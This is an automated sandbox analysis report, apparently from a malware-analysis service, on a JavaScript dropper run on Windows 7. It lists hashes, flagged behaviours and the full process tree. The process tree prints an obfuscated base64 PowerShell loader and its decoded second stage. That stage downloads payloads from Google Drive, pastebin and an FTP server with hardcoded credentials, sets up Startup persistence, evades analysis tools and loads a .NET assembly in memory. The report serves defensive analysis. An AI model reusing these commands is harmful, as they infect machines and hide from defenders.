Resubmissions

27-11-2024 14:01

241127-rb255aspdr 10

27-11-2024 14:01

241127-rbjzjsspcj 1

27-11-2024 13:58

241127-raadqawmcy 10

Analysis

  • max time kernel
    225s
  • max time network
    226s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    27-11-2024 14:01

Errors

Reason
Machine shutdown

General

  • Target

    $RDOOKRE.js

  • Size

    199KB

  • MD5

    0dc3ee0972ecfb9e62b68dccc42a73bf

  • SHA1

    7f882e78a7909c006b34e4a8fd916bf8ef839a64

  • SHA256

    4e0681a5ca00bde3ae2ab6d71b6f9d22aa579274768ae594848e7a6aa279fce6

  • SHA512

    dcaf3a3ab69c4c8e9d39e65b514e4cc70a289af94c21a3e673f5a68ca6e3559218ca91f528f3023a2c243b3093d6f504e741b0c4ac72c99fbed4bc0c844e8831

  • SSDEEP

    3072:AW1tKbWXt+NWXt+NWXt+NWXt+NWXt+NWXt+YWXt+NWXt+NWXt+NWXt+NWXt+NWXC:p

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\$RDOOKRE.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1300
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AGgAbQ' + [char]66 + 'DAG0AIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + 'oAG0AQw' + [char]66 + 'tACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + '5AHcAZg' + [char]66 + 'qAHMAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAdg' + [char]66 + 'KAEEAdg' + [char]66 + 'UACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + 'KAEEAdg' + [char]66 + 'UACAAKQAgAHsAJA' + [char]66 + '5AHcAZg' + [char]66 + 'qAHMAIAA9ACAAKAAkAHkAdw' + [char]66 + 'mAGoAcwAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAHkAdw' + [char]66 + 'mAGoAcwAgAD0AIAAoACQAeQ' + [char]66 + '3AGYAag' + [char]66 + 'zACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'tAG0Abg' + [char]66 + '5AGoAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'tAG0Abg' + [char]66 + '5AGoALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'tAG0Abg' + [char]66 + '5AGoALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66 + 'hAGQARg' + [char]66 + 'pAGwAZQAoACQAeQ' + [char]66 + '3AGYAag' + [char]66 + 'zACwAIAAoACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACkAIAApACAAOwAkAFgASg' + [char]66 + 'rAFkAdwAgAD0AIAAoACAAJw' + [char]66 + 'DADoAXA' + [char]66 + 'VAHMAZQ' + [char]66 + 'yAHMAXAAnACAAKwAgAFsARQ' + [char]66 + 'uAHYAaQ' + [char]66 + 'yAG8Abg' + [char]66 + 'tAGUAbg' + [char]66 + '0AF0AOgA6AFUAcw' + [char]66 + 'lAHIATg' + [char]66 + 'hAG0AZQAgACkAOw' + [char]66 + 'KAEMAQw' + [char]66 + 'HAFgAIAA9ACAAKAAgACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACAAKQAgADsAIA' + [char]66 + 'wAG8Adw' + [char]66 + 'lAHIAcw' + [char]66 + 'oAGUAbA' + [char]66 + 'sAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + '3AHUAcw' + [char]66 + 'hAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + 'KAEMAQw' + [char]66 + 'HAFgAIAAvAHEAdQ' + [char]66 + 'pAGUAdAAgAC8Abg' + [char]66 + 'vAHIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQAIAA7ACAAQw' + [char]66 + 'vAHAAeQAtAEkAdA' + [char]66 + 'lAG0AIAAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAgAC0ARA' + [char]66 + 'lAHMAdA' + [char]66 + 'pAG4AYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uACAAKAAgACQAWA' + [char]66 + 'KAGsAWQ' + [char]66 + '3ACAAKwAgACcAXA' + [char]66 + '' + [char]66 + 'AHAAcA' + [char]66 + 'EAGEAdA' + [char]66 + 'hAFwAUg' + [char]66 + 'vAGEAbQ' + [char]66 + 'pAG4AZw' + [char]66 + 'cAE0AaQ' + [char]66 + 'jAHIAbw' + [char]66 + 'zAG8AZg' + [char]66 + '0AFwAVw' + [char]66 + 'pAG4AZA' + [char]66 + 'vAHcAcw' + [char]66 + 'cAFMAdA' + [char]66 + 'hAHIAdAAgAE0AZQ' + [char]66 + 'uAHUAXA' + [char]66 + 'QAHIAbw' + [char]66 + 'nAHIAYQ' + [char]66 + 'tAHMAXA' + [char]66 + 'TAHQAYQ' + [char]66 + 'yAHQAdQ' + [char]66 + 'wACcAIAApACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7AHAAbw' + [char]66 + '3AGUAcg' + [char]66 + 'zAGgAZQ' + [char]66 + 'sAGwALg' + [char]66 + 'lAHgAZQAgAC0AYw' + [char]66 + 'vAG0AbQ' + [char]66 + 'hAG4AZAAgACcAcw' + [char]66 + 'sAGUAZQ' + [char]66 + 'wACAAMQA4ADAAJwA7ACAAcw' + [char]66 + 'oAHUAdA' + [char]66 + 'kAG8Adw' + [char]66 + 'uAC4AZQ' + [char]66 + '4AGUAIAAvAHIAIAAvAHQAIAAwACAALw' + [char]66 + 'mACAAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAew' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAEMAZQ' + [char]66 + 'yAHQAaQ' + [char]66 + 'mAGkAYw' + [char]66 + 'hAHQAZQ' + [char]66 + 'WAGEAbA' + [char]66 + 'pAGQAYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uAEMAYQ' + [char]66 + 'sAGwAYg' + [char]66 + 'hAGMAawAgAD0AIA' + [char]66 + '7ACQAdA' + [char]66 + 'yAHUAZQ' + [char]66 + '9ACAAOw' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'jAHUAcg' + [char]66 + 'pAHQAeQ' + [char]66 + 'QAHIAbw' + [char]66 + '0AG8AYw' + [char]66 + 'vAGwAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AUw' + [char]66 + 'lAGMAdQ' + [char]66 + 'yAGkAdA' + [char]66 + '5AFAAcg' + [char]66 + 'vAHQAbw' + [char]66 + 'jAG8AbA' + [char]66 + 'UAHkAcA' + [char]66 + 'lAF0AOgA6AFQAbA' + [char]66 + 'zADEAMgAgADsAaQ' + [char]66 + 'mACgAKA' + [char]66 + 'nAGUAdAAtAHAAcg' + [char]66 + 'vAGMAZQ' + [char]66 + 'zAHMAIAAnAFcAaQ' + [char]66 + 'yAGUAcw' + [char]66 + 'oAGEAcg' + [char]66 + 'rACcALAAnAGEAcA' + [char]66 + 'hAHQAZQ' + [char]66 + 'EAE4AUwAnACwAJw' + [char]66 + 'hAG4AYQ' + [char]66 + 'sAHkAeg' + [char]66 + 'lACcAIAAtAGUAYQAgAFMAaQ' + [char]66 + 'sAGUAbg' + [char]66 + '0AGwAeQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGkAbg' + [char]66 + '1AGUAKQAgAC0AZQ' + [char]66 + 'xACAAJA' + [char]66 + 'OAHUAbA' + [char]66 + 'sACkAewAgAA0ACgAgACAAIAAgACAAIAAgAA0ACg' + [char]66 + '9AA0ACgANAAoAZQ' + [char]66 + 'sAHMAZQ' + [char]66 + '7ACAADQAKAFIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQALQ' + [char]66 + 'DAG8AbQ' + [char]66 + 'wAHUAdA' + [char]66 + 'lAHIAIAAtAGYAbw' + [char]66 + 'yAGMAZQAgADsADQAKACAAIAAgACAAIAAgAGUAeA' + [char]66 + 'pAHQAIAA7AA0ACgAgAH0AIAA7ACQAeA' + [char]66 + '2AGcAYg' + [char]66 + '4ACAAPQAgACgAJw' + [char]66 + 'mAHQAcAA6AC8ALw' + [char]66 + 'kAGUAcw' + [char]66 + 'jAGsAdg' + [char]66 + 'iAHIAYQ' + [char]66 + '0ADEAQA' + [char]66 + 'mAHQAcAAuAGQAZQ' + [char]66 + 'zAGMAaw' + [char]66 + '2AGIAcg' + [char]66 + 'hAHQALg' + [char]66 + 'jAG8AbQAuAGIAcgAvAFUAcA' + [char]66 + 'jAHIAeQ' + [char]66 + 'wAHQAZQ' + [char]66 + 'yACcAIAArACAAJwAvADAAMgAvAEQATA' + [char]66 + 'MADAAMQAuAHQAeA' + [char]66 + '0ACcAIAApADsAJA' + [char]66 + 'vAG8ARA' + [char]66 + 'TAEkAIAA9ACAAKAAgAFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'JAE8ALg' + [char]66 + 'QAGEAdA' + [char]66 + 'oAF0AOgA6AEcAZQ' + [char]66 + '0AFQAZQ' + [char]66 + 'tAHAAUA' + [char]66 + 'hAHQAaAAoACkAIAArACAAJw' + [char]66 + 'kAGwAbAAwADEALg' + [char]66 + '0AHgAdAAnACkAOwAkAEwAUQ' + [char]66 + 'RAEEAQgAgAD0AIAAoAC0Aag' + [char]66 + 'vAGkAbgAgAFsAYw' + [char]66 + 'oAGEAcg' + [char]66 + 'bAF0AXQAoADEAMAAwACwAMQAwADEALAAxADEANQAsADkAOQAsADEAMAA3ACwAMQAxADgALAA5ADgALAAxADEANAAsADkANwAsADEAMQA2ACwANAA5ACkAKQAgADsAJA' + [char]66 + 'sAGwAbA' + [char]66 + 'HAHEAIAA9ACAAKAAtAGoAbw' + [char]66 + 'pAG4AIA' + [char]66 + 'bAGMAaA' + [char]66 + 'hAHIAWw' + [char]66 + 'dAF0AKAAxADAAMgAsACAAOAA5ACwAIAAxADEANwAsACAAMQAwADAALAAgADgAOQAsACAANAA5ACwAIAA1ADMALAAgADUANQAsACAANQA2ACwAIAA2ADQALAAgADYANAAsACAANgA0ACwAIAA2ADQALAAgADYANAAsACAANgA0ACAAKQApACAAOwAkAHcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAPQAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AVw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQAIAA7ACQAdw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQALg' + [char]66 + 'DAHIAZQ' + [char]66 + 'kAGUAbg' + [char]66 + '0AGkAYQ' + [char]66 + 'sAHMAIAA9ACAAbg' + [char]66 + 'lAHcALQ' + [char]66 + 'vAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'OAGUAdA' + [char]66 + '3AG8Acg' + [char]66 + 'rAEMAcg' + [char]66 + 'lAGQAZQ' + [char]66 + 'uAHQAaQ' + [char]66 + 'hAGwAKAAkAEwAUQ' + [char]66 + 'RAEEAQgAsACAAJA' + [char]66 + 'sAGwAbA' + [char]66 + 'HAHEAKQAgADsAJA' + [char]66 + 'SAFYAVQ' + [char]66 + 'YAHYAIAA9ACAAJA' + [char]66 + '3AGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + '4AHYAZw' + [char]66 + 'iAHgAIAApACAAOwAkAFIAVg' + [char]66 + 'VAFgAdgAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQAbw' + [char]66 + 'vAEQAUw' + [char]66 + 'JACAALQ' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAAnAFUAVA' + [char]66 + 'GADgAJwAgAC0AZg' + [char]66 + 'vAHIAYw' + [char]66 + 'lACAAOwAkAFMAVA' + [char]66 + 'mAEcAbAAgAD0AIAAoACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQAgACsAIAAnAGQAbA' + [char]66 + 'sADAAMgAuAHQAeA' + [char]66 + '0ACcAKQAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4AIAA9ACAATg' + [char]66 + 'lAHcALQ' + [char]66 + 'PAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'XAGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4ALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'EAEgAeg' + [char]66 + 'VAEEAIAAgAD0AIAAoACAARw' + [char]66 + 'lAHQALQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGUAbg' + [char]66 + '0ACAALQ' + [char]66 + 'QAGEAdA' + [char]66 + 'oACAAJA' + [char]66 + 'vAG8ARA' + [char]66 + 'TAEkAIAApACAAOwAkAHUAVA' + [char]66 + 'sAEgAegAgAD0AIAAkAFAAaA' + [char]66 + 'yAGwATgAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'EAEgAeg' + [char]66 + 'VAEEAIAApACAAOwAkAHUAVA' + [char]66 + 'sAEgAegAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQAUw' + [char]66 + 'UAGYARw' + [char]66 + 'sACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7ACQATQ' + [char]66 + 'PAEQAUg' + [char]66 + 'nACAAPQAgACcAJA' + [char]66 + 'yAHkAYQ' + [char]66 + 'lAEcAIAA9ACAAKA' + [char]66 + 'HAGUAdAAtAEMAbw' + [char]66 + 'uAHQAZQ' + [char]66 + 'uAHQAIAAtAFAAYQ' + [char]66 + '0AGgAIAAnACAAKwAgACQAUw' + [char]66 + 'UAGYARw' + [char]66 + 'sACAAKwAgACcAIAAtAEUAbg' + [char]66 + 'jAG8AZA' + [char]66 + 'pAG4AZwAgAFUAVA' + [char]66 + 'GADgAKQA7ACcAIAA7ACQATQ' + [char]66 + 'PAEQAUg' + [char]66 + 'nACAAKwA9ACAAJw' + [char]66 + 'bAEIAeQ' + [char]66 + '0AGUAWw' + [char]66 + 'dAF0AIAAkAEYAeQ' + [char]66 + 'mAGQAegAgAD0AIA' + [char]66 + 'bAHMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4AQw' + [char]66 + 'vAG4Adg' + [char]66 + 'lAHIAdA' + [char]66 + 'dADoAOg' + [char]66 + 'GAHIAbw' + [char]66 + 'tAEIAYQ' + [char]66 + 'zAGUANgA0AFMAdA' + [char]66 + 'yAGkAbg' + [char]66 + 'nACgAIAAkAHIAeQ' + [char]66 + 'hAGUARwAuAHIAZQ' + [char]66 + 'wAGwAYQ' + [char]66 + 'jAGUAKAAnACcAkyE6AJMhJwAnACwAJwAnAEEAJwAnACkAIAApACAAOwAnACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgACsAPQAgACcAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEEAcA' + [char]66 + 'wAEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAF0AOgAnACAAKwAgACcAOg' + [char]66 + 'DAHUAcg' + [char]66 + 'yAGUAbg' + [char]66 + '0AEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAC4ATA' + [char]66 + 'vAGEAZAAoACAAJA' + [char]66 + 'GAHkAZg' + [char]66 + 'kAHoAIAApAC4AJwAgADsAJA' + [char]66 + 'NAE8ARA' + [char]66 + 'SAGcAIAArAD0AIAAnAEcAZQ' + [char]66 + '0AFQAeQ' + [char]66 + 'wAGUAKAAgACcAJw' + [char]66 + 'DAGwAYQ' + [char]66 + 'zAHMATA' + [char]66 + 'pAGIAcg' + [char]66 + 'hAHIAeQAzAC4AQw' + [char]66 + 'sAGEAcw' + [char]66 + 'zADEAJwAnACAAKQAuAEcAZQ' + [char]66 + '0AE0AJwAgADsAJA' + [char]66 + 'NAE8ARA' + [char]66 + 'SAGcAIAArAD0AIAAnAGUAdA' + [char]66 + 'oAG8AZAAoACAAJwAnAHAAcg' + [char]66 + 'GAFYASQAnACcAIAApAC4ASQ' + [char]66 + 'uAHYAbw' + [char]66 + 'rAGUAKAAgACQAbg' + [char]66 + '1AGwAbAAgACwAIA' + [char]66 + 'bAG8AYg' + [char]66 + 'qAGUAYw' + [char]66 + '0AFsAXQ' + [char]66 + 'dACAAKAAgACcAJw' + [char]66 + 'IAHAAdQA0ADcAUwAxAHIALw' + [char]66 + '3AGEAcgAvAG0Abw' + [char]66 + 'jAC4Abg' + [char]66 + 'pAGIAZQ' + [char]66 + '0AHMAYQ' + [char]66 + 'wAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACcAIAAsACAAJwAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAnACAALAAgACAAJwAnAEQAIA' + [char]66 + 'EAEQAUg' + [char]66 + 'lAGcAQQ' + [char]66 + 'zAG0AJwAnACAAIAApACAAKQA7ACcAOwAkAFYAQg' + [char]66 + 'XAFcAegAgAD0AIAAoACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQAgACsAIAAnAGQAbA' + [char]66 + 'sADAAMwAuAHAAcwAxACcAKQAgADsAJA' + [char]66 + 'NAE8ARA' + [char]66 + 'SAGcAIA' + [char]66 + '8ACAATw' + [char]66 + '1AHQALQ' + [char]66 + 'GAGkAbA' + [char]66 + 'lACAALQ' + [char]66 + 'GAGkAbA' + [char]66 + 'lAFAAYQ' + [char]66 + '0AGgAIAAkAFYAQg' + [char]66 + 'XAFcAegAgACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7AHAAbw' + [char]66 + '3AGUAcg' + [char]66 + 'zAGgAZQ' + [char]66 + 'sAGwAIAAtAEUAeA' + [char]66 + 'lAGMAdQ' + [char]66 + '0AGkAbw' + [char]66 + 'uAFAAbw' + [char]66 + 'sAGkAYw' + [char]66 + '5ACAAQg' + [char]66 + '5AHAAYQ' + [char]66 + 'zAHMAIAAtAEYAaQ' + [char]66 + 'sAGUAIAAkAFYAQg' + [char]66 + 'XAFcAegAgADsAfQA7AA==';$jPhaA = $jPhaA.replace('革','B') ;$jPhaA = [System.Convert]::FromBase64String( $jPhaA ) ;;;$jPhaA = [System.Text.Encoding]::Unicode.GetString( $jPhaA ) ;$jPhaA = $jPhaA.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\$RDOOKRE.js') ;powershell $jPhaA
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2444
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vhmCm = $host.Version.Major.Equals(2);If ( $vhmCm ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$ywfjs = 'https://drive.google.com/uc?export=download&id=';$vJAvT = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $vJAvT ) {$ywfjs = ($ywfjs + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$ywfjs = ($ywfjs + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$mmnyj = ( New-Object Net.WebClient ) ;$mmnyj.Encoding = [System.Text.Encoding]::UTF8 ;$mmnyj.DownloadFile($ywfjs, ($HzOMj + '\Upwin.msu') ) ;$XJkYw = ( 'C:\Users\' + [Environment]::UserName );JCCGX = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\$RDOOKRE.js' -Destination ( $XJkYw + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$xvgbx = ('ftp://[email protected]/Upcrypter' + '/02/DLL01.txt' );$ooDSI = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$LQQAB = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($LQQAB, $lllGq) ;$RVUXv = $webClient.DownloadString( $xvgbx ) ;$RVUXv | Out-File -FilePath $ooDSI -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $ooDSI ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''Hpu47S1r/war/moc.nibetsap//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\$RDOOKRE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2776
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe JCCGX /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2156
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" JCCGX /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:2980
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
